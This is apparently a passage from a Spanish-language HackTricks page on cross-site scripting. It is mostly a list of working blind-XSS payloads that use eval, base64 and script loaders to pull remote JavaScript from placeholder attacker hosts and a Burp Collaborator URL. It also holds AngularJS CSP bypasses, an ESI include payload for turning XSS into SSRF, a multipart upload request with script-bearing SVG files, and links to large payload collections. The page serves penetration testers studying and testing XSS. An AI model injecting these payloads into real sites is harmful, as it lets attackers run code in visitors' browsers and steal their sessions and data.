Abusar de Service Workers
Accediendo al Shadow DOM
Polyglots
Payloads de Blind XSS
También puedes usar: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Acceso a contenido oculto
Desde this writeup se puede aprender que, incluso si algunos valores desaparecen del JS, aún es posible encontrarlos en atributos JS en diferentes objetos. Por ejemplo, un input de un REGEX todavía es posible encontrarlo después de que el valor del input del regex fue eliminado:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force List
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
XSS abusando de otras vulnerabilidades
XSS in Markdown
¿Se puede inyectar código Markdown que será renderizado? ¡Quizás puedas conseguir XSS! Revisa:
XSS to SSRF
¿Tienes XSS en un sitio que usa caching? Intenta convertirlo a SSRF mediante Edge Side Include Injection con este payload:
<esi:include src="http://yoursite.com/capture" />
Úsalo para eludir restricciones de cookies, filtros XSS y mucho más!
Más información sobre esta técnica aquí: XSLT.
XSS en PDF creado dinámicamente
Si una página web está creando un PDF usando input controlado por el usuario, puedes intentar engañar al bot que está creando el PDF para que ejecute código JS arbitrario.
Así que, si el bot creador de PDF encuentra algún tipo de etiquetas HTML, las va a interpretar, y puedes abusar de este comportamiento para causar un Server XSS.
Si no puedes inyectar etiquetas HTML, podría valer la pena intentar inyectar datos PDF:
XSS en Amp4Email
AMP, orientado a acelerar el rendimiento de páginas web en dispositivos móviles, incorpora etiquetas HTML complementadas por JavaScript para asegurar la funcionalidad con énfasis en velocidad y seguridad. Soporta una gama de componentes para varias funciones, accesibles vía AMP components.
El formato AMP for Email extiende componentes AMP específicos a los emails, permitiendo a los destinatarios interactuar con el contenido directamente dentro de sus correos.
Ejemplo writeup XSS in Amp4Email in Gmail.
XSS subiendo archivos (svg)
Sube como imagen un archivo como el siguiente (de http://ghostlulz.com/xss-svg/):
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Encuentra más SVG payloads en https://github.com/allanlw/svg-cheatsheet
Varios trucos de JS e información relevante
Misc JS Tricks & Relevant Info
Recursos de XSS
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Referencias
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.